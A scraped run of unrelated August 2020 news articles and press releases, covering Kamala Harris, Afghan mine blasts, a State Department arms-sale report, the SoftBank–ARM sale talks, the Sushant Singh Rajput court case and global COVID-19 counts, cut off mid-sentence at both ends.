can consult Crowson Law Group. Harris, the first Black woman in the US Senate from California, ran against Biden for the presidential nomination. First-term United States Senator Kamala Harriss star was already rising fast when she jumped into the race for the Democratic presidential nomination in early 2019. Liberals in the party loved her for being the face of the partys future a young, Black woman. Despite entering the race as an immediate frontrunner, Harris, who was also the only African-American woman running, was out by the end of the year before even the Iowa caucuses. Her struggle to maintain support was driven by an inability to articulate clear policy positions and a backlash from an attempt to attack rival Joe Bidens record on race during a June 2019 debate. Many thought the dust-up ended her chances of being considered for the vice president slot. But they were wrong. Joe Bidens notes referencing Harris were captured by a photographer at a campaign event on July 28, sparking speculation about her potential candidacy [File: Andrew Harnik/AP Photo] Harris, 55, the daughter of immigrants from Jamaica and India, is a former California state attorney general who became popular with liberal activists for her tough questioning of appointees and officials from the administration of President Donald Trump including Supreme Court nominee Brett Kavanaugh and former Attorney General Jeff Sessions, during Senate hearings. As one of the earliest congressional critics of Trumps immigration policies, Harris pushed hard for a deal to protect from deportation those immigrants who came to the country without documents as children, a group known as the Dreamers. Harris made history in 2016 when she became the first Black woman elected to the US Senate from California, and she has pushed back against critics of identity politics, who she says are using the term as a pejorative to marginalise issues of race, gender and sexual orientation. She was among a handful of Democrats who aggressively questioned Kavanaugh at his Supreme Court confirmation hearing about his views on abortion and on the special counsel probe into potential Russian meddling in the 2016 election. In the Senate, she introduced a bill to give lower-income families cash payments and tax credits to help battle wage stagnation and rising housing costs, and she has been a strong advocate of criminal justice reforms. In a memoir published in 2019, Harris described herself as a progressive prosecutor and said it is a false choice to decide between supporting the police and advocating for greater scrutiny of law enforcement. She is, however, no favourite of progressives in the Democratic party. Many have criticised her record, including her sometimes reluctant approach to criminal justice reform and her fighting against lawsuits brought by sex workers and opponents of solitary confinement in prisons. She also came under scrutiny for declining as attorney general to prosecute OneWest Bank, which was once headed by Treasury Secretary Steven Mnuchin, for alleged foreclosure violations. Harris, who voted against Mnuchins confirmation as head of the US Department of the Treasury, said she followed the facts in declining to prosecute. HubSpots marketing automation platform enables G2M Insights to deliver tailored, state-of-the-art Data-Driven Selling solutions that help our clients grow faster and more efficiently. G2M Insights, a business and technology consulting firm focused on supporting the go-to-market strategy and execution of Enterprise clients, announced today it has joined HubSpots Solutions Partner Program. HubSpot, a leading growth platform, works hand-in-hand with partner experts to grow their businesses through inbound software, services, and support. The Solutions Partner Program is an ecosystem of experts that offer marketing, sales, customer service, web design, CRM, and IT services. Its a global community that believes putting customers first is the key to growth, and enables its members to offer a wide breadth of more sophisticated solutions across the entire customer experience. Over the past year G2M insights has developed its Data-Driven Selling practice, enabling its clients to transform their sales and marketing capabilities to become truly data-driven organizations. According to Forrester Research, insights- and data-driven businesses grow at an average of more than 30% annually and are on track to grow eight to ten times faster than their peers. G2Ms Data-Driven Selling offering helps businesses evolve their marketing technology and CRM processes to provide tailored planning and execution support for their go-to-market strategies. We are thrilled to become a certified HubSpot Solutions Partner, said Pierre Elisseeff, G2M Insights co-founder and Business Analytics Practice Lead. HubSpots marketing automation platform enables us to deliver tailored, state-of-the-art Data-Driven Selling solutions that help our clients grow faster and more efficiently. Many enterprise businesses today recognize the potential of cloud, AI, and automation technologies to create significant value by enhancing their go-to-market strategy, but struggle with data engineering and enablement issues. Building on decades of experience, G2M Insights supports the needs of these businesses and helps them transform their customer-facing strategy and operations. About G2M Insights G2M Insights is a Denver-based business and technology consulting firm. We focus on developing tailored solutions that help Enterprise clients leverage their data ecosystem to improve their go-to-market strategy, operations, and execution. Our professionals bring deep expertise in Sales, Marketing, Finance, and Technology to support our clients in all areas at the intersection of go-to-market strategy, digital transformation, and AI enablement. 19 Killed in Mine Blasts as Hopes for Peace Gather Momentum in Afghan By Ayesha Tanzeem August 10, 2020 Nineteen Afghan civilians were killed in multiple roadside mine blasts in Kabul and Kandahar Sunday. Two of the blasts occurred in Arghistan district of Kandahar province in southern Afghanistan. In the first incident, a Toyota pickup carrying civilians hit a roadside mine near Shana Nari village killing nine and wounding two more Sunday afternoon, according to a spokesman for Kandahar provincial police, Jamal Barakzai. The second incident occurred near Tajaw village when a van hit a mine, killing eight Sunday night. Meanwhile in Kabul, two civilians including a woman were killed while security personnel were trying to depose of a roadside landmine. The civilian casualties happened on a day when Afghan President Ashraf Ghani announced he would release the remaining 400 Taliban prisonersremoving the last remaining hurdle to the start of direct negotiations with the militant group. Reducing civilian casualties and working toward a ceasefire is expected to be the highest priority of the Afghan teaman amalgamation of government representatives, other political factions, and civil society activistswhen it meets the Taliban in Doha in the coming days. The two sides are supposed to negotiate a political settlement that ends four decades of conflict in Afghanistan. "In the next few days, we expect the completion of prisoner releases, then travel of the Islamic Republic team to Doha, and from there the immediate start of intra-Afghan negotiations," Tweeted Zalmay Khalilzad, the United States Special Representative for Afghanistan Reconciliation, early Monday morning. Khalilzad, who headed the U.S. negotiations with the Taliban, had been proposing to start the intra-Afghan negotiations urgently. However, parts of the U.S. deal with the Talibanparticularly the promise to release up to 5000 Taliban prisoners as a pre-requisite to start direct negotiations with the Afghan governmentirked Ghani, who felt this took leverage away from him. Ghani's government had since been dragging its feet on the prisoner release issue, trying to link it to the announcement of a ceasefire by the Taliban. Not only was this demand repeatedly rejected by the group, according to the Ghani administration, it ratcheted up its attacks against the Afghan security forces. In a video address to a regional conference last month, Ghani said Taliban had killed or wounded more than 10,000 members of Afghan security forces in the months since the U.S.-Taliban deal in February. The mood of the general public in Afghanistan seemed to be overwhelmingly upbeat about the start of talks. Although, there was some criticism in social media posts, particularly from human rights and women's rights groups, over releasing the 400 hardcore Taliban. There was some concern that the team finalized to represent the Afghan government and other Afghan factions was not representative. "The Kabul team is not qualified I feel. They are children of political big wigs. It seems like the same old sharing of the pie. Public opinion is not wholly reflected," said Mushtaq Rahim, a Kabul based independent political analyst. He added however that at the time all everyone wanted was for intra-Afghan negotiations to start. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The Trump administration failed to assess the risk of civilian deaths when it approved the sale of bombs and other weapons to Saudi Arabia last year, according to a government watchdog report released Tuesday. But the State Department did not violate the law on arms exports when it declared an emergency to bypass Congress and push through the weapons deal worth $8.1 billion, the report said. The office of the State Department inspector general found that the Department did not fully assess risks and implement mitigation measures to reduce civilian casualties and legal concerns associated with the transfer of PGMs included in the Secretarys May 2019 emergency certification," said the report, referring to precision guided munitions. Congress requested the inspector general investigate President Donald Trumps May 2019 decision to take the extraordinary step of waiving the need for a 30-day congressional review of a major arms sale. Secretary of State Mike Pompeo invoked the rarely used provision to bypass Congress, declaring an emergency due to tensions with Iran. The inspector generals report did not evaluate whether the emergency declaration was justified, and it noted that the State Department has wide discretion under the law on arms exports and how to define an emergency. Image: Donald Trump, Mohammed bin Salman (Evan Vucci / AP file) The probe into the Saudi arms deal played a role in Trump's abrupt dismissal in May of then-Inspector General Steve Linick, who was conducting the investigation, NBC News has previously reported. Lawmakers have launched an investigation into his firing and raised alarms about the sacking of other government inspector generals, accusing the president of trying to undermine oversight of the executive branch. The State Department said in a statement released Monday that the Office of Inspector Generals (OIG) report represented a vindication for the department and that it had abided by the law. The transfers were essential to bolster the security of the Gulf region and our ally Israel against the sharp increase in Iranian aggression in 2019, it said. Story continues Over the course of the OIGs 13-month inquisition, the OIG interviewed 46 Department employees an astounding expenditure of taxpayer resources, the department said. Now that the report is out, the department said it hoped Democrats in Congress and media outlets who echoed their baseless accusations will publicly accept the findings of the report they requested from the OIG and immediately retract their statements from the past year. The report included a number of redactions, including details on the timeline of the State Departments decision making in the run-up to the emergency declaration in late May. NBC News obtained an unredacted version of the report that showed the State Department was considering an emergency declaration as early as April 3, more than a month before Pompeo briefed Congress on threats from Iran and before the emergency decision was issued on May 24. The inspector general found that State Department officials proposed a possible emergency declaration after Pompeo asked for options on how to secure approval for the arms transfers. On May 4, Pompeo asked the Bureaus of Political-Military and Legislative Affairs to complete the process of certifying the emergency by May 24, 2019, according to the unredacted version of the report. On May 21, Pompeo met with lawmakers to brief them on threats emanating from Iran, the report said. But Democratic members later said the secretary made no mention of a possible emergency declaration to clear the way for the arms deal. Although the potential use of the emergency authorities was closely held within the Department, additional Department employees, including attorneys from the Office of the Legal Adviser, were consulted in advance of the Secretarys formal decision, it said. After the declaration was issued in May 2019, precision-guided bombs were among the first items to be delivered, the unredacted report said. But only a fraction of the arms deal had been carried out at the time of the inspector generals investigation, despite the administrations argument that the sales were a matter of urgency, according to the report. At the time of OIGs review, foreign partners had taken full delivery of 4 of the 22 arms transfer cases included in the May 2019 emergency, the unredacted report said. At the time of the inspector generals probe, only $20 million in foreign military sales included in the emergency decision had been implemented in an overall deal worth billions of dollars, the unredacted report said. The State Department also estimated that five of the 22 cases included in the emergency decision would not begin delivery until 2020 or even later, according to the unredacted report. Lawmakers had blocked several proposed sales of precision-guided bombs and other hardware manufactured by Raytheon Technologies, arguing that the American-made weaponry could contribute to the rising civilian death toll and humanitarian crisis in Yemens five-year civil war. Democrats questioned the emergency declaration and accused the administration of failing to offer evidence as to why long-standing tensions with Iran required an urgent sale of smart bombs to the Saudis. The Saudi-led coalition has repeatedly come under fire over its air war in Yemen by human rights groups and the United Nations. According to U.N estimates, from March 2015 to November 2018 there were 17,640 combat-related civilian casualties in Yemen, and 10,852 were caused by Saudi-led bombing raids. In September last year, the United Nations said that coalition strikes on a mosque and a family home killed 22 civilians. In October 2019, coalition air raids struck a United Nations-supported water system that serves 12,000 people, in the fourth such strike since 2016. Drs. Taylor and Cox joining our esteemed advisory board both deepens our scientific expertise as well as broadens the diversity of voices shaping our technology so that it can best serve all of the communities looking to medical cannabis to improve their health and quality of life. Cannformatics, an early stage biotech startup pioneering the use of metabolomics and AI to personalize medical cannabis treatments, today announced two new members to the companys advisory board. The company welcomes nationally recognized board-certified emergency medicine physician Dr. Myiesha Taylor and University of California, San Francisco Assistant Professor Dr. Stephany Cox. Dr. Taylor was recently named as one of Essence Magazines 50 Essential Heroes for her work in addressing COVID-19 healthcare disparities in underserved communities, she is also instrumental in the creation of the We Are Doc McStuffins movement and had the mother character named after her in Disneys popular and historic show Doc McStuffins, for her work in championing black women around the world to pursue medical degrees. Dr. Cox is a pediatric neuropsychologist whose expertise includes neurodevelopmental disorders such as autism spectrum disorder and attention deficit/hyperactivity disorder, she is also Co-Director of the UCSF Healthy Hearts and Minds Program. Both Drs. Taylor and Cox will provide scientific review and high-level advice to Cannformatics management with regards to its upcoming autism pilot study as well as other R&D activities. Understanding cannabis impact on physiology and its connection to change in behavior is critical to removing stigma and creating broad acceptance of cannabis as a legitimate treatment option for the medical community, said Cannformatics CEO Dr. Itzhak Kurek. Cannformatics is at the forefront of identifying cannabis-responsive biomarkers found in saliva and applying them to personalized medical cannabis recommendations. Drs. Taylor and Cox joining our esteemed advisory board both deepens our scientific expertise as well as broadens the diversity of voices shaping our technology so that it can best serve all of the communities looking to medical cannabis to improve their health and quality of life. About Cannformatics, Inc: Cannformatics is an early stage biotechnology startup focused on personalizing medical cannabis treatment through the identification and application of cannabis-responsive biomarkers found in saliva. The companys mission is to deliver predictable and repeatable science-based medical cannabis recommendations to improve health and quality of life. Cannformatics early successes include identifying two cannabis-dependent biomarkers related to General Anxiety Disorder as part of its proof-of-concept. The company is now pursuing identifying biomarkers related to autism spectrum disorder in children. Learn more at http://www.cannformatics.com and follow us on Twitter @cannformatics. Cannformatics is headquartered in San Francisco, CA. AccuWeather forecasters are warning chances of snow and other wintry weather to break out across portions of the eastern United States, just after a winter storm spent the weekend making a mess of places from the Tennessee Valley through the Southeast and up the Eastern Seaboard into New England. "Since the start of our relationship with Jason Wu in 2006, his forward-thinking sense of style continues to enrich and influence the Brizo brand's unique, fashion-centric approach to design," said Mandy Ellington, Brizo Director of Brand Management. "Over the years, the collaboration has evolved, first producing the Jason Wu for Brizo Bath Collection, and now, the Jason Wu for Brizo Kitchen Collection." Introducing a new vibrance to the familiar, the kitchen collection features a signature Matte White finish, perfectly contrasting and expanding upon the Matte Black finish showcased in the 2012 Jason Wu for Brizo Bath Collection. Subtle details thoughtfully designed and meticulously crafted pay homage to Jason's work, such as the polished nickel handle that echoes the base of his mannequins. "I've been honored to work with the Brizo brand for over a decademerging our complementing approaches to design to bring fashion into the home," said Jason Wu, fashion designer. "I was eager to collaborate again to push the boundaries of both finish and style. Together, we bring a timeless fashion statement into the kitchen with the Jason Wu for Brizo Kitchen Collection in this distinctive Matte White finish." The Jason Wu for Brizo Kitchen Collection offers a suite of products, including: Pull-Down Kitchen Faucet Pull-Down Prep Faucet Bar Faucet Soap/Lotion Dispenser Exclusively sold in the Matte White finish, faucets are available with both Arc and Square Spout options, each expressing their own elegant interpretation of Scandinavian influences. Meanwhile, three handle optionsAll-White, Brilliance Polished Nickel and Guyana Teak with a Brilliance Polished Nickel accentare sold separately to create a customized look and to pair the Matte White finish with striking details. The collection features innovative SmartTouch Technology on the Pull-Down Kitchen and Pull-Down Prep Faucets, providing users the ability to activate water flow with a simple tap. The Jason Wu for Brizo Kitchen SmartTouch faucets are also compatible with optional VoiceIQ Technology, which allows users to issue voice commands to your connected home device to activate water flow in metered or custom amounts. The collection will be available to order Fall 2020 through fine kitchen and bath showrooms nationwide. For more information about Brizo kitchen and bath products or to locate a dealer, visit brizo.com. About the Brizo Brand Brizo is a luxury fittings brand for those who understand that fashion isn't only about the clothes they wear it's a lifestyle. The Brizo team designs and crafts distinctive kitchen and bath suites that artfully blend form and function, transforming minds, moods and spaces. This approach has elevated the Brizo brand and its fashion-forward collections, many of which have been recognized by various outlets and organizations, including Design Journal with its Adex Gold Award and the Red Dot Award. Rooted in fashion and design, the Brizo brand has been a primary sponsor for fashion designer Jason Wu since 2006 and a national sponsor of the St. Jude Dream Home Giveaway since 2010. Brizo is the luxury brand of fittings and accessories within the portfolio of Delta Faucet Company, a WaterSense manufacturer partner of the U.S. Environmental Protection Agency. Brizo products are available exclusively through fine kitchen and bath showrooms. For more information or to locate a showroom, visit https://www.brizo.com or call 877-345-BRIZO (2749). About Jason Wu Jason Wu is a leading New York-based fashion designer. Through merging classic American sportswear elements with a refined couture sensibility, he has created an internationally recognized brand in just over 10 years. Since debuting his Ready-to-Wear collection in 2007, Jason has been dedicated to making clothes that are beautifully crafted from the inside out. With a focus on exquisite quality and traditional craftsmanship, much of Wu's collection is manufactured in New York using custom developed fabrics from the finest mills in France and Italy. Wu's designs have been worn by First Lady Michelle Obama, Meghan Markle, Duchess of Sussex, Reese Witherspoon, Julianne Moore, Diane Kruger and Kerry Washington, among others. He has received numerous awards, including the Swarovski Award for Womenswear at the CFDA Awards in 2010, the Fashion Star Award at The Fashion Group International Night of Stars 2015, and the 2016 International Designer of the Year at the Canadian Arts & Fashion Awards. He also served as artistic director of Hugo Boss womenswear, Ready-to-Wear and Accessories for five years. Links to additional resources Brizo Media Room About Masco SOURCE Brizo SINGAPORE The Singapore prime ministers nephew said on Tuesday that he would pay a S$15,000 ($10,920) fine for contempt of court, but that he did not admit guilt in the case. Li Shengwus case involved a private Facebook post in 2017 in which he said the Singapore government is very litigious and has a pliant court system". Earlier this year, he said he had opted not to participate in the proceedings against him. His post had come amid a bitter public feud among the children of the islands founding father, Lee Kuan Yew, including the current Prime Minister Lee Hsien Loong and Lis father, Lee Hsien Yang. I have decided to pay the fine, in order to buy some peace and quiet," Li said in a Facebook post on Tuesday. I do not admit guilt I disagree that my words were illegal." Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor SoftBank head Masayoshi Son has announced that the ailing Japanese giant is actively considering the sale of ARM in the near future, reports the Financial Times. SoftBank spent $32 billion to buy the British chip designer in 2016 as part of an aggressive investment strategy. But the company, which also backed companies like WeWork, Uber and Slack, has been rocked by some high profile failures. Which is why SoftBank is in behind closed doors talks with NVIDIA over a potential more-than-$32 billion sale. ARM Holdings is a chip designer based in the UK that was originally founded by Acorn, Apple and VLSI at the nadir of the countrys microcomputer wars. The company is a fabless designer of low-power RISC chips that were originally intended for the Acorn Archimedes and Apples Newton handheld. Since then, ARM chips have become synonymous with mobile, designing the brains for essentially smartphone in the world. The Cambridge-based company was purchased by SoftBank at a discount during the collapse in sterling after the vote to leave the European Union. It licenses its chips to any company willing to pay, which includes Qualcomm, MediaTek, Samsung and Apple. These designs can then be edited by the licensees to their own custom specifications, depending on the application theyre being designed for. ARMs dominance in both smartphones and tablets has seen its designs being used as a way to build low power computers as well. The long-standing attempts to build a Windows-on-ARM system has had a rough road, but laptops like ASUS NovaGo are almost usable. Similarly, it is ARM-based designs that Apple uses for its custom smartphone chips, which will form the basis of its push for Apple Silicon in its computers. SoftBanks sale of ARM to NVIDIA is not a done deal, and Son has also told investors at an event that ARM could go public once again. It originally planned to take the company public in 2023, but that could change if Son could see a decent rate of return for its efforts. It would be hard to see companies turning their nose up at the chance to own a piece of ARM, which while small, creates a key component for billions of devices worldwide. ARM co-founder Dr. Hermann Hauser was a critic of the sale to SoftBank and told the BBC that a sale to NVIDIA would be a disaster. Since the company licenses its designs to any paying customer without picking favorites, a partisan owner like NVIDIA could wreck the business. If it becomes part of NVIDIA, he said last week most of the licensees are competitors of NVIDIA, who may look to dump ARM. Hauser has asked the British government to intervene, in the hope of restoring some national pride after allowing the UKs one true tech giant to fall into foreign ownership. Actor Sushant Singh Rajputs father KK Singh told the Supreme Court on Tuesdays hearing that he no longer has anyone to light his funeral pyre. Singh was represented by his lawyer Vikas Singh who recited his comment to the bench of Justice Hrishikesh Roy. I am from Patna and without my son I have no one to light my funeral pyre, Vikas Singh said, quoting KK Singh. No one has seen my son hanging. When my daughter reached, Sushant was lying on the bed. This needs investigation, Sushants father added. On the question of filing an FIR against Sushants girlfriend Rhea Chakraborty 38 days after the actors death, Vikas Singh said, As soon as mourning is over, he (KK Singh) registered the FIR in Patna. Vikas Singh conveyed more doubt on the representation of Sushants death. Father and sister of Sushant Singh Rajput were alienated. Father repeatedly wanted to talk to Sushant but Rhea did not reply. She had already distanced the sister. Look at the mark on his neck its a belt mark not a rope! If he was murdered it needs to be investigated, he told the bench. Also read: Ankita Lokhande welcomes twins Abeer and Abeera to family: A new life has begun, see pic Rhea had filed a petition with the Supreme Court, seeking the transfer of the FIR against her in Patna to Mumbai. Her lawyer Shyam Divan said there appears to be considerable amount of state interference and influence and therefore an apprehension of bias. Senior advocate Abhishek Manu Singhvi, appearing for Maharashtra government, told the bench that he is opposing the jurisdiction of Bihar in investigating the case. The Supreme Court has reserved the verdict on Rhea Chakraborty vs Sushant Singh Rajput death case. The next hearing of Rheas plea will be on Thursday, August 13. Rajput, 34, was found dead at his apartment in suburban Bandra in Mumbai on June 14 and since then Mumbai Police has been probing the case keeping in mind various angles. Follow @htshowbiz for more SHARE THIS ARTICLE ON Dubai will host virtually the 1st edition of Healthcare Future Summit, a path-breaking conference dedicated to all medical professionals, Ministries of Health, government authorities, and academia. Running under the theme Bringing Healthcare Communities Together, the 1st edition of Healthcare Future Summit will be taking place from December 6 to 8, 2020, focusing on the increased demand and the significant social expectations in healthcare delivery due to the global pandemic that is threatening the whole world today. This premium event is built on the foundation of 8 main pillars: patient safety, future of healthcare, innovation & technology, healthcare finance, big data, pharma in healthcare and wellness & medical tourism. These pillars will develop sustainable healthcare systems and help overcome the challenges these healthcare systems are facing. The Healthcare Future Summit presents a rich comprehensive agenda which offers new insights on the latest updates related to safeguarding patients, the future of the healthcare system after Covid-19, the new path in the Pharma Industry, the remote support of patients and many other substantial topics. Around 500 participants are expected to attend the conference that will be hosting more than 45 reputed regional and international speakers. Speaking about the key highlights of the 1st edition of the Healthcare future summit, Dr Ramadan Alblooshi, CEO DHCR & Head of the Scientific Committee of Healthcare Future Summit mentioned: Patients are at the heart of our services. Their safety is our priority. We are bringing healthcare communities together to deliver the best care to our patients. We aim to position healthcare at the lead of the global industry by introducing innovative regulations and providing platforms to share the best practices and to assess demands. Being one of the healthcare regulators in the region, we have a deep sense of responsibility to serve the people and look into the future by elevating the healthcare standards. He added: In line with Dubai Plan 2021, we share a unifying voice and continue to work closely with various authorities to help and execute a strong regulatory framework, which will build a more reliable healthcare industry in order to safeguard citizens, residents and visitors in the country. The well-founded infrastructure and the overwhelming government support make the UAE more equipped to compete with international standards and achieve high satisfaction in care delivery. He further said: In this forum, we have gathered famous and renowned leaders in healthcare, world experts, and uncompromising economic specialists to share their best practices, innovations and advanced technologies. Anas Al Madani, Vice-Chairman and Group CEO of INDEX Holding said: Thanks to our leaders wisdom and our unique healthcare system in the UAE, we could control the pandemic and maintain the highest level of safety and protection. However, the healthcare sector in the whole world has witnessed a remarkable development in the past few months due to this pandemic. Therefore, I am looking forward to the Healthcare Future Summit to discuss with experts the future of the healthcare system in the post-coronavirus phase, which has a crucial impact on every aspect of our lives. This summit is going to be a leading platform that will shepherd intellect, innovation and collaboration between individuals in the public and private sectors from all over the globe, paving the way to a better future. In fact, the Healthcare Future Summit aims at educating all members of the healthcare sector in order to develop a sustainable Eco System that can better serve the community. It also focuses on providing a platform for innovation & entrepreneurship with relevance to the healthcare industry and stimulating growth of healthcare startups in the UAE. -- Tradearabia News Service By David Shepardson WASHINGTON (Reuters) - The Transportation Department's Office of Inspector General said on Tuesday it would audit oversight of U.S. vehicle safety standards, noting that more than 36,000 Americans were killed in traffic accidents in 2019. The inspector general's office said it was launching a review of the National Highway Traffic Safety Administration (NHTSA) efforts to set and enforce Federal Motor Vehicle Safety Standards (FMVSS). "Given the importance to the traveling public that all new vehicles and components meet federal safety standards, we are initiating a review of NHTSAs FMVSS process," the inspector general's office wrote. NHTSA said in a statement it would "work with the Office of Inspector General to provide any pertinent information requested." In March, NHTSA proposed sweeping changes to U.S. safety requirements to speed the deployment of self-driving vehicles without human controls. It proposed rewriting 11 vehicle safety standards that require traditional manual controls "by revising the requirements and test procedures to account for the removal of manually-operated driving controls." NHTSA proposed revising rules for occupant protection, steering controls, glazing materials, door locks, seating systems, side impact protection, roof crush resistance and child restraint anchorage systems. Companies like General Motors Co, Alphabet Incs Waymo, Uber Technologies Inc and Ford Motor Co are aggressively testing automated vehicles. David Friedman, who was an NHTSA deputy administrator during the Obama administration, said the agency under President Donald Trump has failed to adopt any significant life-saving regulations. "That is a clear failure to fulfill NHTSA's mission to save lives and prevent injuries, especially when you consider that there are technologies out there now that could cut the annual death toll in half," Friedman said. Story continues It often takes NHTSA years to finalize changes or adopt new motor vehicle safety standards. In February 2018, NHTSA finalized rules requiring "quiet cars" like electric vehicles to emit alert sounds to warn pedestrians of their approach after Congress demanded rules in 2010. (Reporting by David Shepardson; Editing by Chris Reese and Leslie Adler) Source: Xinhua| 2020-08-11 16:30:53|Editor: huaxia Video Player Close -Global solidarity is needed to combat the common enemy of humankind as COVID-19 cases top 20 million with more than 730,000 deaths worldwide. -Some countries in Asia and Europe have seen a second wave of infections arrive, while Africa and Latin America are also trying to slow down the spread of the virus. by Xinhua writers Feng Yasong and Gao Wencheng BEIJING, Aug. 11 (Xinhua) -- Global COVID-19 cases reached 20 million on Monday, with more than 730,000 deaths worldwide, according to the Center for Systems Science and Engineering (CSSE) at Johns Hopkins University. The global case count reached 20,001,019, with a total of 733,897 deaths worldwide as of 2335 GMT, the CSSE data showed. The bleak number of global infections has doubled in less than two months as the coronavirus pandemic continues to rage across the world. With 5,085,821 cases and 163,370 fatalities, the United States has suffered the most from the pandemic, accounting for a quarter of the global caseload. Brazil recorded 3,057,470 cases and 101,752 deaths, second only to the United States. India confirmed more than 2.2 million cases. Some countries in Asia and Europe have seen a second wave of infections arrive, while Africa and Latin America are also trying to slow down the spread of the virus. Medical workers conduct COVID-19 tests for taxi drivers in Sao Paolo, Brazil, June 26, 2020. (Xinhua/Rahel Patrasso) Facing the grim milestone, as World Health Organization (WHO) Director-General Tedros Adhanom Ghebreyesus recently urged, world leaders need to "choose the path of cooperation and act now to end this pandemic." "It's not just the smart choice, it's the right choice and it's the only choice we have," the WHO chief said. MOMENTUM GROWS One day before the global milestone, U.S. coronavirus case count crossed the 5-million mark on Sunday, double the number since the end of June, though it boasts the greatest economic strength and one of the most advanced medical systems in the world. With more than 163,000 COVID-19 deaths, the novel coronavirus has now become the leading cause of death in the United States, killing more people per day than cancer or heart disease, according to a graph published in Newsweek in April. The disease has killed more Americans than the Korean War, Vietnam War, War in Afghanistan and Iraq War combined. The United States is in a new phase in its fight against the pandemic, Deborah Birx, the White House coronavirus task force coordinator, told CNN earlier this month. Pedestrians walk past a social distancing notice on Times Square in New York, the United States, July 23, 2020. (Xinhua/Wang Ying) "What we are seeing today is different from March and April. It is extraordinarily widespread. It's into the rural as equal urban areas," she said. Meanwhile, the pandemic is also grave in other regions around the world. Brazil, the second hardest-hit in the world, has registered more than 3 million confirmed cases and 100,000 deaths on Saturday. Ricardo Kuchenbecker, a professor of epidemiology at the Federal University of Rio Grande do Sul, said the pandemic in Brazil remains worrying. "Although there is a decrease in cases and deaths in the north and northeast, they are still occurring at a very high level," the epidemiologist said. India now is the third country in the world to cross the 2-million mark. At the rate India is growing right now, it seems poised to overtake Brazil in about a month, said a report published in English daily "The Indian Express." In Africa, COVID-19 cases increased to pass the 1-million mark on Friday, as South Africa alone accounts for around half of the continent's total cases. Countries with more than 400,000 cases also include Russia, South Africa, Mexico and Peru. Other countries with over 30,000 deaths are Mexico, Britain, India, Italy and France, according to the CSSE. As lockdown and anti-pandemic restrictions were eased to promote economic and social activity, countries like Germany and France in Europe, Japan and the Philippines in Asia and Iran in the Middle East have seen an uptick in coronavirus infections over the past few weeks. MULTIPLE CHALLENGES In the arduous fight against the virus, a prominent challenge is to ensure the implementation of recommended health and social measures. Isolation boards are seen in a barbershop in Johannesburg, South Africa, Aug. 6, 2020. (Xinhua/Chen Cheng) In the United States, top infectious disease expert Anthony Fauci urged the public to adhere to the five principles of universal mask wearing, avoiding crowds, physical distancing of at least six feet (about 1.83 meters), typical hand hygiene and avoiding bars or closing them where possible. John Nkengasong, director of the Africa Centers for Disease Control and Prevention (Africa CDC), also said Friday in a statement that "as the pandemic continues to gain momentum in Africa, we must increase compliance to the public health and social measures so we can protect ourselves and protect our economy." The Africa CDC together with the WHO and more than 40 other global, regional and national organizations and institutions have initiated the Pandemic Action Network, which launched the World Mask Week that envisaged increasing the use of face coverings in public in Africa and beyond. In many African countries, prevention and control measures in health facilities are not fully implemented, according to a WHO report published on July 23. Many health centers were found to lack the infrastructure necessary to implement key infection prevention measures or to prevent overcrowding. Another challenge posed by COVID-19 is the pandemic-induced economic recession. The pandemic has made the United States suffer its worst economic decline on record, as the nation's gross domestic product plunged by 32.9 percent in the second quarter, according to the U.S. Commerce Department. In Europe, according to the European Central Bank's projection, economic activity in the eurozone is unlikely to return to the pre-COVID-19 level by the end of 2022, indicating a quite protracted process of recovery. People line up outside a COVID-19 testing station during COVID-19 pandemic in Mexico City, Mexico, Aug. 1, 2020. (Photo by Sunny Quintero/Xinhua) As countries are seeking to ease restrictions to reboot economy, the process is also full of different challenges. Among them, with the new school year approaching, the temperature of debate over re-opening schools has risen. With the virus still spreading, Washington continued to push schools to re-open in the fall. Analysts say school reopening is seen as a crucial step to re-starting the country's economy for the current administration's reelection campaign. However, few Americans want to see their local schools re-open for in-person instruction as usual or even with minor adjustments considering the severe COVID-19 situation, said a new poll released on July 22. In other countries like Britain, Italy and Turkey, where schools are planning to reopen, teachers and parents are also concerned about uncertainties looming about the process. Testing and contact tracing are "key to schools returning," BBC quoted scientists as saying. COOPERATION IN NEED The situation can serve as a sober reminder that the ravaging pandemic is far from withering away, and that the world is in urgent need of global solidarity in combating humandkind's common enemy. UN Secretary-General Antonio Guterres said last month that only through international cooperation "will we ease the economic and social consequences of the crisis." "It is only by strengthening bonds across society that we will recover better and build a healthier, more inclusive, sustainable, resilient and equitable world," he said. While highlighting "the anticipated lengthy duration" of the pandemic, the WHO also said that countries around the world should "share best practices" with the WHO, "apply lessons learned from countries that are successfully re-opening their societies," as well as "support multilateral regional and global organizations and encourage global solidarity in COVID-19 response." Airport staff unload medical supplies off a cargo aircraft from Shanghai of China in Zagreb, Croatia, April 12, 2020. (Xinhua/Gao Lei) In this context, China has provided emergency medical supplies to more than 150 countries and international organizations since the outbreak, dispatched medical expert teams and shared experts' experiences in combating COVID-19 with multiple countries. When addressing the opening of the 73rd session of the World Health Assembly via video link in May, Chinese President Xi Jinping announced concrete measures to boost global fight against COVID-19 including providing international aid and making the country's COVID-19 vaccine a global public good when available. Noting that humankind is facing the most serious global public health emergency since the end of World War II, Xi said "solidarity and cooperation is a sure way through which we, the people of the world, can defeat this novel coronavirus." He also called on the international community to work as one and make concerted efforts to protect the life and health of people in all countries, safeguard planet Earth and build a global community of health for all. On the contrary, instead of rallying a global charge to beat the COVID-19 pandemic, Washington has intentionally disrupted efforts to combat the virus, including those of its allies, and hindered international coordination to stem the pandemic's spread by withdrawing from the WHO. Ghebreyesus, in response, hopes the United States will "reconsider its position" on the decision to withdraw from the organization, noting last week that the COVID-19 pandemic cannot be defeated in a divided world. "Now it's time to work together," he said, "it's time to focus on fighting the virus." (Video reporters: Du Yang, Xie E, Shang Xuqian and Zhang Mocheng; Videp editpor: Li Ziwei.) By PTI NEW DELHI: Actress Rhea Chakraborty told the Supreme Court on Tuesday that the FIR lodged in Bihar by late actor Sushant Singh Rajput's father against her in relation to his son's suicide has absolutely no connection with any offence in Patna. A bench of Justice Hrishikesh Roy was told by senior advocate Shyam Divan, appearing for the actress, that there appears to be considerable amount of state interference, influence and therefore an apprehension of bias. He referred to the timeline in the case and said that there was considerable delay of over 38 days in lodging of the FIR at Patna. Divan referred to the complaint by Rajput's father to police in Patna and said that all averments mentioned in the complaint are relatable to Mumbai. He said that Mumbai Police had recorded statements of 56 persons in the case and the probe has proceeded quite substantially. The hearing in the matter is going on. On August 5, the top court had said that the truth behind the unfortunate death of the "gifted and talented artist" should come out. The Centre had apprised it of having accepted the Bihar 